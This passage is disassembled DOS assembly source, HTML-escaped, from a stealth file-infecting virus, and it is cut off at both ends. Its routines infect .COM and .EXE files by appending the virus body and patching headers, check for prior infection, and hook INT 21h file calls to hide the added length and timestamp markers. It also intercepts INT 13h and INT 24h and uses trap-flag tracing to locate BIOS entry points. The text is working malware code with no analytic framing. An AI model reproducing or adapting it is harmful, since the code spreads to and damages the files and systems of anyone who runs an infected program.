loc_46		; (084C)&lt;br /&gt;loc_45:&lt;br /&gt;; .COM file infect&lt;br /&gt;		cmp	si,0F00h		; file len in paragraphs&lt;br /&gt;		jae	loc_46			; Jump if above or =&lt;br /&gt;		mov	ax,data_38		; (CS:1200=0)&lt;br /&gt;		mov	data_23,ax		; (CS:0004=20CDh)&lt;br /&gt;		add	dx,ax&lt;br /&gt;		mov	ax,data_40		; (CS:1202=0)&lt;br /&gt;		mov	data_24,ax		; (CS:0006=340h)&lt;br /&gt;		add	dx,ax&lt;br /&gt;		mov	ax,data_41		; (CS:1204=0)&lt;br /&gt;		mov	data_25,ax		; (CS:0008=50C6h)&lt;br /&gt;		add	dx,ax&lt;br /&gt;		jz	loc_46			; Jump if zero - allready infected&lt;br /&gt;		mov	cl,0E9h&lt;br /&gt;		mov	byte ptr data_38,cl	; (CS:1200=0)&lt;br /&gt;		mov	ax,10h&lt;br /&gt;		mul	si			; dx:ax = reg * ax&lt;br /&gt;		add	ax,265h&lt;br /&gt;		mov	word ptr data_38+1,ax	; (CS:1201=0)&lt;br /&gt;		mov	ax,data_38		; (CS:1200=0)&lt;br /&gt;		add	ax,data_40		; (CS:1202=0)&lt;br /&gt;		neg	ax&lt;br /&gt;		mov	data_41,ax		; (CS:1204=0)&lt;br /&gt;		call	sub_6			; (08B3)&lt;br /&gt;loc_46:&lt;br /&gt;		mov	ah,3Eh			; '&gt;'&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		call	sub_14			; (0D6C)&lt;br /&gt;		retn&lt;br /&gt;sub_4		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_5		proc	near&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	ax,5700h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	data_53,cx		; (CS:1229=0)&lt;br /&gt;		mov	data_54,dx		; (CS:122B=0)&lt;br /&gt;		mov	ax,4200h&lt;br /&gt;		xor	cx,cx			; Zero register&lt;br /&gt;		mov	dx,cx&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ah,3Fh			; '?'&lt;br /&gt;		mov	cl,1Ch&lt;br /&gt;		mov	dx,1200h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ax,4200h&lt;br /&gt;		xor	cx,cx			; Zero register&lt;br /&gt;		mov	dx,cx&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ah,3Fh			; '?'&lt;br /&gt;		mov	cl,1Ch&lt;br /&gt;		mov	dx,4&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ax,4202h&lt;br /&gt;		xor	cx,cx			; Zero register&lt;br /&gt;		mov	dx,cx&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	data_80,ax		; (CS:12A9=0)&lt;br /&gt;		mov	data_81,dx		; (CS:12AB=0)&lt;br /&gt;		mov	di,ax&lt;br /&gt;		add	ax,0Fh&lt;br /&gt;		adc	dx,0&lt;br /&gt;		and	ax,0FFF0h&lt;br /&gt;		sub	di,ax&lt;br /&gt;		mov	cx,10h&lt;br /&gt;		div	cx			; ax,dx rem=dx:ax/reg&lt;br /&gt;		mov	si,ax&lt;br /&gt;		retn&lt;br /&gt;sub_5		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_6		proc	near&lt;br /&gt;		mov	ax,4200h&lt;br /&gt;		xor	cx,cx			; Zero register&lt;br /&gt;		mov	dx,cx&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ah,40h&lt;br /&gt;		mov	cl,1Ch&lt;br /&gt;		mov	dx,1200h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ax,10h&lt;br /&gt;		mul	si			; dx:ax = reg * ax&lt;br /&gt;		mov	cx,dx&lt;br /&gt;		mov	dx,ax&lt;br /&gt;		mov	ax,4200h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		xor	dx,dx			; Zero register&lt;br /&gt;		mov	cx,1000h&lt;br /&gt;		add	cx,di&lt;br /&gt;		mov	ah,40h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ax,5701h&lt;br /&gt;		mov	cx,data_53		; (CS:1229=0)&lt;br /&gt;		mov	dx,data_54		; (CS:122B=0)&lt;br /&gt;		test	dh,80h&lt;br /&gt;		jnz	loc_47			; Jump if not zero&lt;br /&gt;		add	dh,0C8h&lt;br /&gt;loc_47: 	call	sub_24			; INT 21&lt;br /&gt;		cmp	byte ptr dos_ver,3	; (CS:12EE=0)&lt;br /&gt;		jb	loc_ret_48		; Jump if below&lt;br /&gt;		cmp	byte ptr data_103,0	; (CS:12EF=0)&lt;br /&gt;		je	loc_ret_48		; Jump if equal&lt;br /&gt;		push	bx&lt;br /&gt;		mov	dl,data_52		; (CS:1228=0)&lt;br /&gt;		mov	ah,32h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ax,cs:data_101		; (CS:12EC=0)&lt;br /&gt;		mov	[bx+1Eh],ax&lt;br /&gt;		pop	bx&lt;br /&gt;loc_ret_48:&lt;br /&gt;		retn&lt;br /&gt;sub_6		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_7		proc	near&lt;br /&gt;		call	sub_21			; Save REGS in vir's stack&lt;br /&gt;		mov	di,dx&lt;br /&gt;		add	di,0Dh&lt;br /&gt;		push	ds&lt;br /&gt;		pop	es&lt;br /&gt;		jmp	short loc_50		; (0945)&lt;br /&gt;sub_7		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_8		proc	near&lt;br /&gt;		call	sub_21			; Save REGS in vir's stack - save REGS&lt;br /&gt;		push	ds&lt;br /&gt;		pop	es&lt;br /&gt;		mov	di,dx&lt;br /&gt;		mov	cx,50h&lt;br /&gt;		xor	ax,ax			; Zero register&lt;br /&gt;		mov	bl,0&lt;br /&gt;		cmp	byte ptr [di+1],3Ah	; ':'&lt;br /&gt;		jne	loc_49			; Jump if not equal&lt;br /&gt;		mov	bl,[di]&lt;br /&gt;		and	bl,1Fh&lt;br /&gt;loc_49:&lt;br /&gt;		mov	cs:data_52,bl		; (CS:1228=0)&lt;br /&gt;		repne	scasb			; Rep zf=0+cx &gt;0 Scan es:[di] for al&lt;br /&gt;loc_50:&lt;br /&gt;		mov	ax,[di-3]&lt;br /&gt;		and	ax,0DFDFh&lt;br /&gt;		add	ah,al&lt;br /&gt;		mov	al,[di-4]&lt;br /&gt;		and	al,0DFh&lt;br /&gt;		add	al,ah&lt;br /&gt;		mov	byte ptr cs:data_31,0	; (CS:0020=0)&lt;br /&gt;		cmp	al,0DFh 		; file name is ....COM&lt;br /&gt;		je	loc_51			; Jump if equal&lt;br /&gt;		inc	byte ptr cs:data_31	; (CS:0020=0)&lt;br /&gt;		cmp	al,0E2h 		; file name is ....EXE&lt;br /&gt;		jne	loc_52			; Jump if not equal&lt;br /&gt;loc_51:&lt;br /&gt;		call	sub_20			; Restore regs from vir's stack&lt;br /&gt;		clc				; Clear carry flag&lt;br /&gt;		retn&lt;br /&gt;loc_52:&lt;br /&gt;		call	sub_20			; Restore regs from vir's stack&lt;br /&gt;		stc				; Set carry flag&lt;br /&gt;		retn&lt;br /&gt;sub_8		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_9		proc	near&lt;br /&gt;		push	bx&lt;br /&gt;		mov	ah,51h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	cs:data_77,bx		; (CS:12A3=0)&lt;br /&gt;		pop	bx&lt;br /&gt;		retn&lt;br /&gt;sub_9		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_10		proc	near&lt;br /&gt;		call	sub_13			; (0CC6)&lt;br /&gt;		push	dx&lt;br /&gt;		mov	dl,cs:data_52		; (CS:1228=0)&lt;br /&gt;		mov	ah,36h			; '6'&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mul	cx			; dx:ax = reg * ax&lt;br /&gt;		mul	bx			; dx:ax = reg * ax&lt;br /&gt;		mov	bx,dx&lt;br /&gt;		pop	dx&lt;br /&gt;		or	bx,bx			; Zero ?&lt;br /&gt;		jnz	loc_53			; Jump if not zero&lt;br /&gt;		cmp	ax,4000h&lt;br /&gt;		jb	loc_54			; Jump if below&lt;br /&gt;loc_53:&lt;br /&gt;		mov	ax,4300h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		jc	loc_54			; Jump if carry Set&lt;br /&gt;		mov	di,cx&lt;br /&gt;		xor	cx,cx			; Zero register&lt;br /&gt;		mov	ax,4301h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		cmp	byte ptr cs:data_90,0	; (CS:12DA=0)&lt;br /&gt;		jne	loc_54			; Jump if not equal&lt;br /&gt;		mov	ax,3D02h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		jc	loc_54			; Jump if carry Set&lt;br /&gt;		mov	bx,ax&lt;br /&gt;		mov	cx,di&lt;br /&gt;		mov	ax,4301h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		push	bx&lt;br /&gt;		mov	dl,cs:data_52		; (CS:1228=0)&lt;br /&gt;		mov	ah,32h			; '2'&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ax,[bx+1Eh]&lt;br /&gt;		mov	cs:data_101,ax		; (CS:12EC=0)&lt;br /&gt;		pop	bx&lt;br /&gt;		call	sub_14			; (0D6C)&lt;br /&gt;		retn&lt;br /&gt;loc_54:&lt;br /&gt;		xor	bx,bx			; Zero register&lt;br /&gt;		dec	bx&lt;br /&gt;		call	sub_14			; (0D6C)&lt;br /&gt;		retn&lt;br /&gt;sub_10		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_11		proc	near&lt;br /&gt;		push	cx&lt;br /&gt;		push	dx&lt;br /&gt;		push	ax&lt;br /&gt;		mov	ax,4400h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		xor	dl,80h&lt;br /&gt;		test	dl,80h&lt;br /&gt;		jz	loc_55			; Jump if zero&lt;br /&gt;		mov	ax,5700h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		test	dh,80h&lt;br /&gt;loc_55:&lt;br /&gt;		pop	ax&lt;br /&gt;		pop	dx&lt;br /&gt;		pop	cx&lt;br /&gt;		retn&lt;br /&gt;sub_11		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_12		proc	near&lt;br /&gt;		call	sub_21			; Save REGS in vir's stack&lt;br /&gt;		mov	ax,4201h&lt;br /&gt;		xor	cx,cx			; Zero register&lt;br /&gt;		xor	dx,dx			; Zero register&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	cs:data_78,ax		; (CS:12A5=0)&lt;br /&gt;		mov	cs:data_79,dx		; (CS:12A7=0)&lt;br /&gt;		mov	ax,4202h&lt;br /&gt;		xor	cx,cx			; Zero register&lt;br /&gt;		xor	dx,dx			; Zero register&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	cs:data_80,ax		; (CS:12A9=0)&lt;br /&gt;		mov	cs:data_81,dx		; (CS:12AB=0)&lt;br /&gt;		mov	ax,4200h&lt;br /&gt;		mov	dx,cs:data_78		; (CS:12A5=0)&lt;br /&gt;		mov	cx,cs:data_79		; (CS:12A7=0)&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		call	sub_20			; Restore regs from vir's stack&lt;br /&gt;		retn&lt;br /&gt;sub_12		endp&lt;br /&gt;&lt;br /&gt;_21_57: 	or	al,al			; Zero ?&lt;br /&gt;		jnz	loc_58			; Jump if not zero&lt;br /&gt;		and	cs:data_85,0FFFEh	; (CS:12B3=0)&lt;br /&gt;		call	sub_19			; Restore REGS&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		jc	loc_57			; Jump if carry Set&lt;br /&gt;		test	dh,80h&lt;br /&gt;		jz	loc_56			; Jump if zero&lt;br /&gt;		sub	dh,0C8h&lt;br /&gt;loc_56:&lt;br /&gt;		jmp	loc_11			; (033F)&lt;br /&gt;loc_57:&lt;br /&gt;		or	cs:data_85,1		; (CS:12B3=0)&lt;br /&gt;		jmp	loc_11			; (033F)&lt;br /&gt;loc_58:&lt;br /&gt;		cmp	al,1&lt;br /&gt;		jne	loc_61			; Jump if not equal&lt;br /&gt;		and	cs:data_85,0FFFEh	; (CS:12B3=0)&lt;br /&gt;		test	dh,80h&lt;br /&gt;		jz	loc_59			; Jump if zero&lt;br /&gt;		sub	dh,0C8h&lt;br /&gt;loc_59:&lt;br /&gt;		call	sub_11			; (09E6)&lt;br /&gt;		jz	loc_60			; Jump if zero&lt;br /&gt;		add	dh,0C8h&lt;br /&gt;loc_60:&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	[bp-4],ax&lt;br /&gt;		adc	cs:data_85,0		; (CS:12B3=0)&lt;br /&gt;		jmp	loc_13			; (0396)&lt;br /&gt;_21_42: 	cmp	al,2&lt;br /&gt;		jne	loc_61			; Jump if not equal&lt;br /&gt;		call	sub_11			; (09E6)&lt;br /&gt;		jz	loc_61			; Jump if zero&lt;br /&gt;		sub	word ptr [bp-0Ah],1000h&lt;br /&gt;		sbb	word ptr [bp-8],0&lt;br /&gt;loc_61:&lt;br /&gt;		jmp	loc_10			; (030F)&lt;br /&gt;_21_3F: 	and	byte ptr cs:data_85,0FEh	; (CS:12B3=0)&lt;br /&gt;		call	sub_11			; (09E6)&lt;br /&gt;		jz	loc_61			; Jump if zero&lt;br /&gt;		mov	cs:data_83,cx		; (CS:12AF=0)&lt;br /&gt;		mov	cs:data_82,dx		; (CS:12AD=0)&lt;br /&gt;		mov	cs:data_84,0		; (CS:12B1=0)&lt;br /&gt;		call	sub_12			; (0A04)&lt;br /&gt;		mov	ax,cs:data_80		; (CS:12A9=0)&lt;br /&gt;		mov	dx,cs:data_81		; (CS:12AB=0)&lt;br /&gt;		sub	ax,1000h&lt;br /&gt;		sbb	dx,0&lt;br /&gt;		sub	ax,cs:data_78		; (CS:12A5=0)&lt;br /&gt;		sbb	dx,cs:data_79		; (CS:12A7=0)&lt;br /&gt;		jns	loc_62			; Jump if not sign&lt;br /&gt;		mov	word ptr [bp-4],0&lt;br /&gt;		jmp	loc_25			; (0549)&lt;br /&gt;loc_62:&lt;br /&gt;		jnz	loc_63			; Jump if not zero&lt;br /&gt;		cmp	ax,cx&lt;br /&gt;		ja	loc_63			; Jump if above&lt;br /&gt;		mov	cs:data_83,ax		; (CS:12AF=0)&lt;br /&gt;loc_63:&lt;br /&gt;		mov	dx,cs:data_78		; (CS:12A5=0)&lt;br /&gt;		mov	cx,cs:data_79		; (CS:12A7=0)&lt;br /&gt;		or	cx,cx			; Zero ?&lt;br /&gt;		jnz	loc_64			; Jump if not zero&lt;br /&gt;		cmp	dx,1Ch&lt;br /&gt;		jbe	loc_65			; Jump if below or =&lt;br /&gt;loc_64:&lt;br /&gt;		mov	dx,cs:data_82		; (CS:12AD=0)&lt;br /&gt;		mov	cx,cs:data_83		; (CS:12AF=0)&lt;br /&gt;		mov	ah,3Fh			; '?'&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		add	ax,cs:data_84		; (CS:12B1=0)&lt;br /&gt;		mov	[bp-4],ax&lt;br /&gt;		jmp	loc_13			; (0396)&lt;br /&gt;loc_65:&lt;br /&gt;		mov	si,dx&lt;br /&gt;		mov	di,dx&lt;br /&gt;		add	di,cs:data_83		; (CS:12AF=0)&lt;br /&gt;		cmp	di,1Ch&lt;br /&gt;		jb	loc_66			; Jump if below&lt;br /&gt;		xor	di,di			; Zero register&lt;br /&gt;		jmp	short loc_67		; (0B35)&lt;br /&gt;loc_66:&lt;br /&gt;		sub	di,1Ch&lt;br /&gt;		neg	di&lt;br /&gt;loc_67:&lt;br /&gt;		mov	ax,dx&lt;br /&gt;		mov	cx,cs:data_81		; (CS:12AB=0)&lt;br /&gt;		mov	dx,cs:data_80		; (CS:12A9=0)&lt;br /&gt;		add	dx,0Fh&lt;br /&gt;		adc	cx,0&lt;br /&gt;		and	dx,0FFF0h&lt;br /&gt;		sub	dx,0FFCh&lt;br /&gt;		sbb	cx,0&lt;br /&gt;		add	dx,ax&lt;br /&gt;		adc	cx,0&lt;br /&gt;		mov	ax,4200h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	cx,1Ch&lt;br /&gt;		sub	cx,di&lt;br /&gt;		sub	cx,si&lt;br /&gt;		mov	ah,3Fh			; '?'&lt;br /&gt;		mov	dx,cs:data_82		; (CS:12AD=0)&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		add	cs:data_82,ax		; (CS:12AD=0)&lt;br /&gt;		sub	cs:data_83,ax		; (CS:12AF=0)&lt;br /&gt;		add	cs:data_84,ax		; (CS:12B1=0)&lt;br /&gt;		xor	cx,cx			; Zero register&lt;br /&gt;		mov	dx,1Ch&lt;br /&gt;		mov	ax,4200h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		jmp	loc_64			; (0B04)&lt;br /&gt;_21_40: 	and	byte ptr cs:data_85,0FEh	; (CS:12B3=0)&lt;br /&gt;		call	sub_11			; (09E6)&lt;br /&gt;		jnz	loc_68			; Jump if not zero&lt;br /&gt;		jmp	loc_61			; (0AA2)&lt;br /&gt;loc_68:&lt;br /&gt;		mov	cs:data_83,cx		; (CS:12AF=0)&lt;br /&gt;		mov	cs:data_82,dx		; (CS:12AD=0)&lt;br /&gt;		mov	cs:data_84,0		; (CS:12B1=0)&lt;br /&gt;		call	sub_12			; (0A04)&lt;br /&gt;		mov	ax,cs:data_80		; (CS:12A9=0)&lt;br /&gt;		mov	dx,cs:data_81		; (CS:12AB=0)&lt;br /&gt;		sub	ax,1000h&lt;br /&gt;		sbb	dx,0&lt;br /&gt;		sub	ax,cs:data_78		; (CS:12A5=0)&lt;br /&gt;		sbb	dx,cs:data_79		; (CS:12A7=0)&lt;br /&gt;		js	loc_69			; Jump if sign=1&lt;br /&gt;		jmp	short loc_71		; (0C47)&lt;br /&gt;loc_69:&lt;br /&gt;		call	sub_13			; (0CC6)&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	dx,data_80		; (CS:12A9=0)&lt;br /&gt;		mov	cx,data_81		; (CS:12AB=0)&lt;br /&gt;		add	dx,0Fh&lt;br /&gt;		adc	cx,0&lt;br /&gt;		and	dx,0FFF0h&lt;br /&gt;		sub	dx,0FFCh&lt;br /&gt;		sbb	cx,0&lt;br /&gt;		mov	ax,4200h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	dx,4&lt;br /&gt;		mov	cx,1Ch&lt;br /&gt;		mov	ah,3Fh			; '?'&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ax,4200h&lt;br /&gt;		xor	cx,cx			; Zero register&lt;br /&gt;		mov	dx,cx&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	dx,4&lt;br /&gt;		mov	cx,1Ch&lt;br /&gt;		mov	ah,40h			; '@'&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	dx,0F000h&lt;br /&gt;		mov	cx,0FFFFh&lt;br /&gt;		mov	ax,4202h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ah,40h			; '@'&lt;br /&gt;		xor	cx,cx			; Zero register&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	dx,data_78		; (CS:12A5=0)&lt;br /&gt;		mov	cx,data_79		; (CS:12A7=0)&lt;br /&gt;		mov	ax,4200h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ax,5700h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		test	dh,80h&lt;br /&gt;		jz	loc_70			; Jump if zero&lt;br /&gt;		sub	dh,0C8h&lt;br /&gt;		mov	ax,5701h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;loc_70:&lt;br /&gt;		call	sub_14			; (0D6C)&lt;br /&gt;		jmp	loc_10			; (030F)&lt;br /&gt;loc_71:&lt;br /&gt;		jnz	loc_72			; Jump if not zero&lt;br /&gt;		cmp	ax,cx&lt;br /&gt;		ja	loc_72			; Jump if above&lt;br /&gt;		jmp	loc_69			; (0BC9)&lt;br /&gt;loc_72:&lt;br /&gt;		mov	dx,cs:data_78		; (CS:12A5=0)&lt;br /&gt;		mov	cx,cs:data_79		; (CS:12A7=0)&lt;br /&gt;		or	cx,cx			; Zero ?&lt;br /&gt;		jnz	loc_73			; Jump if not zero&lt;br /&gt;		cmp	dx,1Ch&lt;br /&gt;		ja	loc_73			; Jump if above&lt;br /&gt;		jmp	loc_69			; (0BC9)&lt;br /&gt;loc_73:&lt;br /&gt;		call	sub_19			; Restore REGS&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		call	sub_17			; Save REGS&lt;br /&gt;		mov	ax,5700h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		test	dh,80h&lt;br /&gt;		jnz	loc_74			; Jump if not zero&lt;br /&gt;		add	dh,0C8h&lt;br /&gt;		mov	ax,5701h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;loc_74: 	jmp	loc_13			; (0396)&lt;br /&gt;		jmp	loc_10			; (030F)&lt;br /&gt;&lt;br /&gt;int_13: 	pop	word ptr cs:data_65	; (CS:1241=0)&lt;br /&gt;		pop	word ptr cs:data_65+2	; (CS:1243=0)&lt;br /&gt;		pop	cs:data_91		; (CS:12DB=0)&lt;br /&gt;		and	cs:data_91,0FFFEh	; (CS:12DB=0)&lt;br /&gt;		cmp	byte ptr cs:data_90,0	; (CS:12DA=0)&lt;br /&gt;		jne	loc_75			; Jump if not equal&lt;br /&gt;		push	cs:data_91		; (CS:12DB=0)&lt;br /&gt;		call	dword ptr cs:old_INT	; (CS:122D=0)&lt;br /&gt;		jnc	loc_76			; Jump if carry=0&lt;br /&gt;		inc	cs:data_90		; (CS:12DA=0)&lt;br /&gt;loc_75: 	stc				; Set carry flag&lt;br /&gt;loc_76: 	jmp	dword ptr cs:data_65	; (CS:1241=0)&lt;br /&gt;&lt;br /&gt;int_24: 	xor	al,al			; Zero register&lt;br /&gt;		mov	byte ptr cs:data_90,1	; (CS:12DA=0)&lt;br /&gt;		iret				; Interrupt return&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_13		proc	near&lt;br /&gt;		mov	byte ptr cs:data_90,0	; (CS:12DA=0)&lt;br /&gt;		call	sub_21			; Save REGS in vir's stack&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	al,13h&lt;br /&gt;		call	sub_1			; Get INT 13 vector&lt;br /&gt;		mov	word ptr old_INT,bx	; (CS:122D=0)&lt;br /&gt;		mov	word ptr old_INT+2,es	; (CS:122F=70h)&lt;br /&gt;		mov	word ptr old_INT_13,bx	; (CS:1239=0)&lt;br /&gt;		mov	word ptr old_INT_13+2,es ; (CS:123B=70h)&lt;br /&gt;		mov	dl,0&lt;br /&gt;		mov	al,0Dh&lt;br /&gt;		call	sub_1			; Get INT 0D vector&lt;br /&gt;		mov	ax,es&lt;br /&gt;		cmp	ax,0C000h&lt;br /&gt;		jae	loc_77			; Jump if above or =&lt;br /&gt;		mov	dl,2&lt;br /&gt;loc_77:&lt;br /&gt;		mov	al,0Eh&lt;br /&gt;		call	sub_1			; Get INT 0E vector&lt;br /&gt;		mov	ax,es&lt;br /&gt;		cmp	ax,0C000h&lt;br /&gt;		jae	loc_78			; Jump if above or =&lt;br /&gt;		mov	dl,2&lt;br /&gt;loc_78:&lt;br /&gt;		mov	data_73,dl		; (CS:1250=0)&lt;br /&gt;		call	sub_22			; Set INT 01 for debuging&lt;br /&gt;		mov	data_92,ss		; (CS:12DD=151Ch)&lt;br /&gt;		mov	data_93,sp		; (CS:12DF=0)&lt;br /&gt;		push	cs&lt;br /&gt;		mov	ax,offset loc_79&lt;br /&gt;		push	ax&lt;br /&gt;		mov	ax,70h&lt;br /&gt;		mov	es,ax&lt;br /&gt;		mov	cx,0FFFFh&lt;br /&gt;		mov	al,0CBh&lt;br /&gt;		xor	di,di			; Zero register&lt;br /&gt;		repne	scasb			; Rep zf=0+cx &gt;0 Scan es:[di] for al&lt;br /&gt;		dec	di&lt;br /&gt;		pushf				; Push flags&lt;br /&gt;		push	es&lt;br /&gt;		push	di&lt;br /&gt;		pushf				; Push flags&lt;br /&gt;		pop	ax&lt;br /&gt;		or	ah,1&lt;br /&gt;		push	ax&lt;br /&gt;		in	al,21h			; port 21h, 8259-1 int IMR&lt;br /&gt;		mov	data_97,al		; (CS:12E5=0)&lt;br /&gt;		mov	al,0FFh